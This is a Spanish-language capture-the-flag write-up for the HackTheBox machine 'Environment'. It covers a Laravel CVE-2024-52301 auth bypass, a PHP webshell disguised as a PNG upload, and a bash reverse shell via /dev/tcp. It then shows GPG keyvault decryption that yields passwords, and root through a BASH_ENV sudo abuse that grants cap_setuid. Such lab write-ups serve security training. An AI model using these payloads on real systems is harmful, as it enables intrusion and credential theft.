Environment – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Environment” es una máquina de dificultad Media de la plataforma HackTheBox
. La máquina víctima está corriendo un servidor web el cual utiliza una versión vulnerable de Laravel
a CVE-2024-52301, una vulnerabilidad que nos permite definir variables de entorno en una URL. Esto nos permite bypassear la autenticación del sitio web y obtener una sesión como un usuario válido. Este usuario es capaz de subir una imagen a un perfil. Somos capaces de bypassear las restricciones que no dejan subir archivos inválidos, para subir una “imagen” que en realidad es un archivo PHP
malicioso, ganando ejecución remota de comandos en la máquian víctima. Ya dentrop, somos capaces de encontrar y desencriptar un archivo GNU Privacy Guard
(GPG
), obteniendo una contraseña válida para un usuario en el sistema y ganando acceso por SSH
. Ya dentro como este usuario, éste es capaz de ejecutar sudo
manteniendo una variable de entorno. Esto nos permite ejecutar un script como un usuario privilegiado; escalando así privilegios y comprometiendo el sistema.
User / Usuario Link to heading
Empezamos buscando puertos TCP
abiertos con Nmap
:
❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.67
El escano de Nmap
sólo muestra 2 puertos TCP
abiertos: 22
SSH
y 80
HTTP
. Apicando algunos scripts de reconocimiento sobre aquellos puertos con la flag -sVC
podemos ver:
❯ sudo nmap -sVC -p22,80 10.10.11.67
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 03:13 -04
Nmap scan report for 10.10.11.67
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.64 seconds
Del output, para el servicio 80
HTTP
, podemos ver que se redirige a un dominio: environment.htb
.
Agregamos este dominio junto con la IP de la máquina víctima al archivo /etc/hosts
en nuestra máquina de atacantes:
❯ echo '10.10.11.67 environment.htb' | sudo tee -a /etc/hosts
Una vez agregado el sitio web, usamos WhatWeb
contra el sitio web para ver tecnologías que pudieran estar siendo utilizadas por éste:
❯ whatweb -a 3 http://environment.htb
http://environment.htb [200 OK] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], HttpOnly[laravel_session], IP[10.10.11.67], Laravel, Script, Title[Save the Environment | environment.htb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]
Podemos ver que el servidor está utilizando Nginx
junto con Laravel
.
Visitando http://environment.htb
en un navegador web muestra una página acerca del entorno (“environment” en inglés) del planeta Tierra:
En la página inferior, la página pide un email para que ganemos acceso a ésta. Ponemos un email random allí, pero sólo obtenemos un mensaje “exitoso”. Nada más allá de eso:
En este punto podemos buscar por directorios a través de fuerza bruta (Brute Force Directory Listing
) con la herramienta Gobuster
. Dado que el sitio está utilizando Laravel
, el cual usa PHP
, también buscamos por archivos .php
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://environment.htb -x php -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://environment.htb
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.gitkeep (Status: 403) [Size: 153]
/.git/logs/ (Status: 403) [Size: 153]
/.git/HEAD (Status: 403) [Size: 153]
/.git/index (Status: 403) [Size: 153]
/.git/config (Status: 403) [Size: 153]
/.git_release (Status: 403) [Size: 153]
/.config (Status: 403) [Size: 153]
/.cvs (Status: 403) [Size: 153]
/.env (Status: 403) [Size: 153]
/.bash_history (Status: 403) [Size: 153]
/.cvsignore (Status: 403) [Size: 153]
/.gitignore (Status: 403) [Size: 153]
/.gitattributes (Status: 403) [Size: 153]
/.git-rewrite (Status: 403) [Size: 153]
/.bashrc (Status: 403) [Size: 153]
/.git (Status: 403) [Size: 153]
/.forward (Status: 403) [Size: 153]
/.gitmodules (Status: 403) [Size: 153]
/.gitk (Status: 403) [Size: 153]
/.cache (Status: 403) [Size: 153]
/.gitconfig (Status: 403) [Size: 153]
/.gitreview (Status: 403) [Size: 153]
/.hta (Status: 403) [Size: 153]
/.htaccess (Status: 403) [Size: 153]
/.history (Status: 403) [Size: 153]
/.htpasswd (Status: 403) [Size: 153]
/.mysql_history (Status: 403) [Size: 153]
/.profile (Status: 403) [Size: 153]
/.listing (Status: 403) [Size: 153]
/.perf (Status: 403) [Size: 153]
/.listings (Status: 403) [Size: 153]
/.passwd (Status: 403) [Size: 153]
/.ssh (Status: 403) [Size: 153]
/.subversion (Status: 403) [Size: 153]
/.rhosts (Status: 403) [Size: 153]
/.sh_history (Status: 403) [Size: 153]
/.svn (Status: 403) [Size: 153]
/.svn/entries (Status: 403) [Size: 153]
/.web (Status: 403) [Size: 153]
/.swf (Status: 403) [Size: 153]
/.svnignore (Status: 403) [Size: 153]
/build (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/favicon.ico (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 4602]
/index.php (Status: 200) [Size: 4602]
/login (Status: 200) [Size: 2391]
/logout (Status: 302) [Size: 358] [--> http://environment.htb/login]
/mailing (Status: 405) [Size: 244854]
/node_modules/.package-lock.json (Status: 403) [Size: 153]
/robots.txt (Status: 200) [Size: 24]
/storage (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up (Status: 200) [Size: 2126]
/upload (Status: 405) [Size: 244852]
/vendor (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
Progress: 9488 / 9490 (99.98%)
===============================================================
Finished
===============================================================
Podemos ver un directorio /login
. Yendo a http://environment.htb/login
muestra un nuevo panel de login:
Si ponemos credenciales aleatorias sólo obtenemos un mensaje: Invalid credentials.
Para ver la data enviada cuando tratamos de loguearnos, podemos interceptar le petición enviada con Burpsuite
. Obtenemos la petición:
POST /login HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://environment.htb/login?error=Invalid%20credentials.
Cookie: XSRF-TOKEN=eyJpdiI6ImROMlFsN3I5bmFNVHRSR3JnWC9zWnc9PSIsInZhbHVlIjoibnpoNWV1ZDNYa3d3R1QyZHIyQ255T3RUdFBRcERqUU1EdUFrNHdZSlJUV1diN3ZEVjE1b1FvUWhmMHBmdmpxYjIrY0JhZ0tyQXZxSnNudWJ6a2VRTGwvaGFRNVdVUDQvam8rR2FmTGErU29id29mWW1aWk5QaGJqN2FVdGFXbEYiLCJtYWMiOiJmYTc5Nzc0NTIwZDRkMGNkOTNhYzJjYjcwMmRjMjJlYjkwMzIwZWQyZjNjOGZlMWYzYTM2YzFiZDBmZWJkNmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFCa0ExT2FvRmgzRHJYY3RrUDFqZGc9PSIsInZhbHVlIjoiOXc2TmVoRDdkbFIwQW5FK2tIVHkvaHNQRU1IWjZ4ckRucDdIaGtwblFnaVFWY0JtaUlyY09pQ1lnQ3NkK0htN1VLalRaVE92ZTdKL3NoU25ITnFSYXc0N1hJRWVBTUlMejY5MWorWk10UzA1dldkV2VFVHdETFcxYUpxclVFTEsiLCJtYWMiOiJkZGRiMDYxNTJhNTA5NjJmMjVlMzI2ODZmZTE5M2FlNjJjZjI1NDhiYTdkMDU4ODFlZDdhYTNlN2VmMGU4YjM4IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=f3uDz8P68DVOsZvErqzHc0t0AgfhZF5PGzww60Dk&email=test%40test.com&password=123&remember=False
Pero nada más allá de ello.
Si visitamos http://environment.htb/mailing
o /upload
podemos ver una página de error:
Podemos ver una versión: Laravel 11.30.0
.
Esta es una de aquellas veces donde el nombre de la máquina da una pista de cómo resolver ésta. Si buscamos por laravel environment vulnerability
encontramos este blog explicando una vulnerabilidad catalogada como CVE-2024-52301. La versión de Laravel
corriendo es 11.30.0
, y las versiones afectadas son anteriores a la 11.31.0
. Por tanto, la versión debería de ser vulnerable. En corto, existe una falla en cómo Laravel
trata con la configuración de las variables de entorno cuando la directiva PHP
de nombre register_arc_argv
está habilitada. Esta vulnerabilidad nos permite crear una petición la cual puede cambiar de valor una variable de entorno simplemente llamándola. Es decir, por una petición GET
podemos cambiar una varible de entorno en Laravel
. Buscando por Pruebas de Concepto (Proof of Concepts, o PoCs) encontramos este repositorio de Github. Resumidamente, podemos explotar la vulnerabilidad llamando a la URL:
http://example.com/page?--env=<env-variable>
Dado que no conocemos cuál variable de entorno podríamos utilizar, podemos utilizar esta lista para variables de entorno de SecLists
junto con Burpsuite
. Esta lista no es para nada extensa, por lo que usar Burpsuite
es suficiente en este caso (y nos sirve para variar un poco lo que siempre hacemos con ffuf
o scripts de Python
). Agregamos en la URL el string ?--env=test
, enviamos la petición, ésta es interceptada por Burpsuite
y la enviamos al Intruder
. Seleccionamos la palabra test
y clickeamos en Add §
como sigue:
Donde, como payload, seleccionamos el diccionario Fuzzing/environment-identifiers.txt
de SecLists
. Hecho esto, clickeamos en Start Attack
.
Una vez el ataque ha concluido, clickeamos en Length
para ordenar las respuestas por su tamaño. Podemos ver una variable que tiene diferente tamaño:
Todas las variables retornan un tamaño de 1694
, excepto para preprod
, la cual retorna un valor de 1634
.
Por ende, vamos a http://environment.htb/login
, interceptamos una nueva petición con Burpsuite
, pero esta vez modificamos la URL a la cual se está haciendo una petición por POST
:
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://environment.htb/login
Cookie: XSRF-TOKEN=eyJpdiI6ImdzSEh0MHhkb0hjWkwzbHR0NW9Xd0E9PSIsInZhbHVlIjoiYXF1aXpCRjc3SDZJR1pzaUM2OVkxcGlXUEpjYm8vdkFjYWFkV21aVTJWRWxKcjV5Z2RWTStSQ21RbDkzQlRYMzV6clRoMWhINk1LWXhYN2d5RW5oQ0MraXRuREZKRzF4NjZNQS9mVzBXSXV3TThFRXhSanc5d0w0U1F4c3BjZ1AiLCJtYWMiOiI2ZGVjY2M4YzlmMDJmMzI2YjE3OTIzMjdiYzkwNjgxMGJmY2JiMDY0YWY4NmI5MWUxZDhiNzgyNzhmNjMxMjdlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFzbVBVVDFsZG5hOWljNU9QNmtQdlE9PSIsInZhbHVlIjoiSW1OeWV1NVlGdFRrcEt3ZHQvMWQ1Z3lYRFRMRDc3ZkF1VmJhTDBRUGpyV21YRzgvYlZGaFViVzdXMXZWRk9LS3dtUllqL0tlVFpCKzIvMTVDNkEzV0VYU1p1eHMwRHZOT3EwWm5iazR5Q005YzlyLzZ3Rjh3UzdON0VyaGhmWXQiLCJtYWMiOiI1NGVlYmNhNjVjYTZmOGM5NjJmMGUyZGRmOWIwMDUyMmY4MmE3M2I2MWFhMDIzNjBjZmIyMjc4YmY1ODAxNDk0IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=f3uDz8P68DVOsZvErqzHc0t0AgfhZF5PGzww60Dk&email=test%40test.com&password=123&remember=False
Somos redirigidos al sitio http://environment.htb/mangement/dashboard
, donde podemos ver lo que parece ser un panel:
Si clickeamos en Profile
podemos ver que estamos logueados como el usuario Hish
y que podemos actualiozar nuestra foto de perfil subiendo una nueva:
Simplemente descargaré la imagen que ya está subida al usuario Hish
y trataré de subirla de nuevo, pero esta vez interceptando nuevamente con Burpsuite
para ver si es que podemos subir un archivo malicioso. Descargamos la foto de perfil con wget
:
❯ wget http://environment.htb/storage/files/hish.png -q
Y la volvemos a subir, interceptando la petición de subida con Burpsuite
. Interceptamos la petición:
POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------3829345334277116534866207027
Content-Length: 39907
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6InNQZ1ljNGJNVTBMbWtieVBvU3B3YlE9PSIsInZhbHVlIjoiMWJqaXdVNXl6S2RVKzVmM3V1QlpkVDJJUkhoNGI0L3ZjZFJoNnVVRnl3WFliTDhQcHc4c0V6cVloTFF1OWdVRE51T0czc1FQWXVlclJmK01ISHZlNFZlSTRGamtzUzkzc3cxM3g1V0tPeW5YMzVEN3JsaGF6cnJydEdPd1IxVjQiLCJtYWMiOiJkZjA3MjQ0MDdjNjBhYmEyODNlNDM1YWVjNTg4MzA0ZDM2ZmJmMjMzMWUxOTQ5NmZjZDQyYTA1ZDQ3NmZkOTgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBQSk1rbUpKRUEyVkZNVzdSeHVXNlE9PSIsInZhbHVlIjoiS3U2MUVMbFV4UEpuZy9Ybk4rQXpYZWNTeXg2M1NjS3ZmOU4wK013YnVxa1FaNEtmSjk4S1NGdUppOE5CaldNbHYvbGtHZGxZQ2szem9zcDRLbUFDMkpvMmkzNWhvMm04N0EyNEI2a3RlU05PdHhDSi9rZitXVFVndXNrWUJlSEQiLCJtYWMiOiIwMWJjMDdkYTM2M2Y4MGMyYjVlMjFjZmUzMDY2ZWU1NmQ5ODVlYjBjZDRlNzJiYTA5N2NjMDljNWMwM2I5M2FlIiwidGFnIjoiIn0%3D
Priority: u=0
-----------------------------3829345334277116534866207027
Content-Disposition: form-data; name="_token"
sWHJLfkMcgW30ZdDAUPrikdHH5B7319BIg2Yk1Fx
-----------------------------3829345334277116534866207027
Content-Disposition: form-data; name="upload"; filename="hish.png"
Content-Type: image/png
PNG
<SNIP>
-----------------------------3829345334277116534866207027--
Noto que si nombro mi archivo como test.png
, éste es subido en la ruta:
http://environment.htb/storage/files/test.png
Similar al archivo hish.png
que hemos descargado. Por tanto, no es difícil deducir que las imágenes son subidas en /storage/files/
.
Podemos tratar de crear un archivo PHP
el cual sea una webshell
, agregando a ésta “bytes mágicos” de un archivo PNG
:
❯ (echo -e '\xFF\xD8\xFF\xE0'; echo '<?php system($_GET["cmd"]); ?>') > shell.png
Subimos la shell e interceptamos nuevamente la petición. Un nombre que funciona para subir el archivo es gunzf0x.php.
(con un punto .
al final del archivo) y el archivo es subido:
POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------4057824841326181275761716449
Content-Length: 404
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6Ikd0U1N0ZldCbUVUS28vczNPVENOSHc9PSIsInZhbHVlIjoidEFLdGlWT2xzOGRxaDB1TXFoT3FBLzc4aFY5Y2Mxd3NEK1NGY1ROOXVhTFRIY1ZIY3h1QnBySUNMMjhhTU1hcjVpTVNMTDJ3N2ZsSTNyZG5UaGRqNDBFUE5KSWlYQVljMDhaRjBVaW4vcGVhcXhNanFmZEloNG9kQk4yYjZiYS8iLCJtYWMiOiJiNzhkNGNkOTgwYTBlZWJkNGEyM2VhMjFkNDU4MGUzOWYzYTdhMjRkY2I0NWM0NjMyODgwOTZjYTQzZGI2YzE4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IktnMEpsZkVoUWUwaGduUzZ0clY0MFE9PSIsInZhbHVlIjoiVzg0aEZLWi93R2IvZ2w3cW54NDlkbjhtdWpaN21weTM2Mm4zdHpPSjA0UFNFZGYzRHQvSngxQS9veThkOUl3SGR3Vm5tbTVCelVEb280NlhoYU5ycGhYQmVpL1U1Y2EwZnNzSVZhQzRacjVXMXN5M1NrWDZWa1pwQ0Q4bGJXK3giLCJtYWMiOiJkNWQzOTU2MDhiMzg3OTdmNjc3OGYzMzIxMWMyM2EyZDY0ZmY1ZDc4OTQyZTYzN2RlOWJmNzI5NWU0N2QyNzdkIiwidGFnIjoiIn0%3D
Priority: u=0
-----------------------------4057824841326181275761716449
Content-Disposition: form-data; name="_token"
couAZtr9LEEiSzwaXgngq4goPpweoTLfnVQWYqGr
-----------------------------4057824841326181275761716449
Content-Disposition: form-data; name="upload"; filename="gunzf0x.php."
Content-Type: image/png
ÿØÿà
<?php system($_GET["cmd"]); ?>
-----------------------------4057824841326181275761716449--
Revisamos si el archivo ha sido subido y si podemos ejecutar comandos con cURL
:
❯ curl -s -X GET -G 'http://environment.htb/storage/files/gunzf0x.php' --data-urlencode 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Funcionó.
empezamos un listener con netcat
por el puerto 443
y usamos este archivo para enviarnos una reverse shell:
❯ curl -s -X GET -G 'http://environment.htb/storage/files/gunzf0x.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.16.4/443 0>&1"'
Obtenemos una shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.67] 60496
bash: cannot set terminal process group (853): Inappropriate ioctl for device
bash: no job control in this shell
www-data@environment:~/app/storage/app/public/files$
Hay 2 usarios en la máquina víctima: root
y hish
www-data@environment:~/app/storage/app/public/files$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
Podemos ver que la flag de usuario user.txt
está en el directorio home
de hish
, pero también existe un directorio backup
el cual podemos leer:
www-data@environment:~/app/storage/app/public/files$ ls -la /home/hish
total 36
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .
drwxr-xr-x 3 root root 4096 Jan 12 11:51 ..
lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish 220 Jan 6 21:28 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12 14:42 .bashrc
drwxr-xr-x 4 hish hish 4096 May 10 19:48 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan 6 21:43 .local
-rw-r--r-- 1 hish hish 807 Jan 6 21:28 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 backup
-rw-r--r-- 1 root hish 33 May 10 17:10 user.txt
Dentro de este directorio hay un archivo llamado keyvault.gpg
:
www-data@environment:~/app/storage/app/public/files$ ls -la /home/hish/backup
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish 430 May 10 19:49 keyvault.gpg
.gpg
file is a public keyring file. GPG
is a free and open-source implementation of the OpenPGP
standard, used for encrypting, decrypting, and digitally signing data. This file stores public keys used to verify the authenticity of messages and files.En corto, es un archivo encriptado.
Para desencriptar este archiovo GNU Privacy Guard
(GPG
) tenemos 2 opciones: usar nuestra propia máquina y modificar algunos archivos de nuestro sistema o utilizar los archivos que ya están en la máquina víctima. Iré por la segunda opción. Primero, localizamos y copiamos el directorio .gnupg
. Este directorio está usualmente localizado en el directorio home
del usuario objetivo. En este caso hish
es el usuario, y como pudimos ver cuando revismaos el directorio /home/hish
, éste directorio existe y tenemos permisos de lectura sobre éste. Creamos una copia de este directorio en algún otro lugar de la máquina víctima:
www-data@environment:~/app/storage/app/public/files$ cp -r /home/hish/.gnupg/ /tmp/gnupg_copy
Luego, damos permisos sobre el directorio copiado para evitar problemas a futuro:
www-data@environment:~/app/storage/app/public/files$ chmod -R 700 /tmp/gnupg_copy/
Como tercer paso, necesitamos confirmar con gpg
que el directorio copiado será el directorio del cual se intentarán desencriptar los archivos:
www-data@environment:~/app/storage/app/public/files$ gpg --homedir /tmp/gnupg_copy/ --list-secret-keys
/tmp/gnupg_copy/pubring.kbx
---------------------------
sec rsa2048 2025-01-11 [SC]
F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid [ultimate] hish_ <hish@environment.htb>
ssb rsa2048 2025-01-11 [E]
Finalmente, desencriptamos el archivo .gpg
y extraemos su contenido:
www-data@environment:~/app/storage/app/public/files$ gpg --homedir /tmp/gnupg_copy/ --output /tmp/content.txt --decrypt /home/hish/backup/keyvault.gpg
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
Por último, leemos el contenido del contenido extraido usando cat
:
www-data@environment:~/app/storage/app/public/files$ cat /tmp/content.txt
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
Tenemos 3 potenciales contraseñas.
Usamos NetExec
para revisar si alguna de estas contraseñas es válida para el usuario hish
mediante el servicio SSH
:
❯ nxc ssh 10.10.11.67 -u hish -p 'Ihaves0meMon$yhere123' 'marineSPm@ster!!' 'summerSunnyB3ACH!!'
SSH 10.10.11.67 22 10.10.11.67 [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u5
SSH 10.10.11.67 22 10.10.11.67 [-] hish:Ihaves0meMon$yhere123
SSH 10.10.11.67 22 10.10.11.67 [+] hish:marineSPm@ster!! Linux - Shell access!
Tenemos credenciales: hish:marineSPm@ster!!
.
Nos conectamos como el usuario hish
utilizando el servicio SSH
:
❯ sshpass -p 'marineSPm@ster!!' ssh -o stricthostkeychecking=no hish@10.10.11.67
Warning: Permanently added '10.10.11.67' (ED25519) to the list of known hosts.
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May 10 20:09:00 2025 from 10.10.16.4
hish@environment:~$
Podemos extraer la flag de usuario.
Root Link to heading
Este usuario puede ejecutar un comando con sudo
:
hish@environment:~$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
La clave aquí yace en la definición de env_keep+="ENV BASH_ENV"
. Podemos definir una variable de entorno como BASH_ENV
y tal cual se explica en esta página podemos abusar de esto para escalar privilegios (sólo que no usamos la variable LD_PRELOAD
).
Usualmente, para escalar privilegios, la gente le da permisos SUID
al binario /bin/bash
. Para hacer algo un poco diferente, crearemos un script de Bash
el cual crea una copia del binario de python3
en el sistema, copia a la cual decidiré llamar /tmp/gunzf0x
, y asignarle “capabilities” a aquella copia. Podemos crear este script en un simple oneliner de Bash
-el cual llamaré /tmp/exploit
-, no olvidando asignarle permisos de ejecución luego de crearlo:
hish@environment:~$ echo -e '#/bin/bash\n\ncp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x' > /tmp/exploit
hish@environment:~$ cat /tmp/exploit
#/bin/bash
cp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x
hish@environment:~$ chmod +x /tmp/exploit
Finalmente, ejecutamos /usr/bin/systeminfo
con sudo
, definiendo la variable de entorno como nuestro script malicioso /tmp/exploit
:
hish@environment:~$ sudo BASH_ENV=/tmp/exploit /usr/bin/systeminfo
### Displaying kernel ring buffer logs (dmesg) ###
[ 4.838808] vmwgfx 0000:00:0f.0: [drm] Available shader model: Legacy.
[ 4.842101] [drm] Initialized vmwgfx 2.20.0 20211206 for 0000:00:0f.0 on minor 0
[ 4.845291] fbcon: vmwgfxdrmfb (fb0) is primary device
[ 4.846260] Console: switching to colour frame buffer device 160x50
<SNIP>
Si revisamos nuestro directorio /tmp
, nuestra copia maliciosa ha sido creada:
hish@environment:~$ ls -la /tmp
total 6728
drwxrwxrwt 10 root root 4096 May 10 20:15 .
drwxr-xr-x 18 root root 4096 Apr 30 00:31 ..
-rw-r--r-- 1 www-data www-data 107 May 10 20:05 content.txt
-rwxr-xr-x 1 hish hish 85 May 10 20:14 exploit
drwxrwxrwt 2 root root 4096 May 10 17:09 .font-unix
drwx------ 4 www-data www-data 4096 May 10 20:05 gnupg_copy
-rwxr-xr-x 1 root root 6839896 May 10 20:15 gunzf0x
<SNIP>
Finalmente, utilizamos aquel binario (el cual es una copia del binario de python3
con “capabilities”) para escalar privilegios:
hish@environment:~$ /tmp/gunzf0x -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
GG. Podemos leer la flag del usuario root
en el directorio /root
.
~Happy Hacking.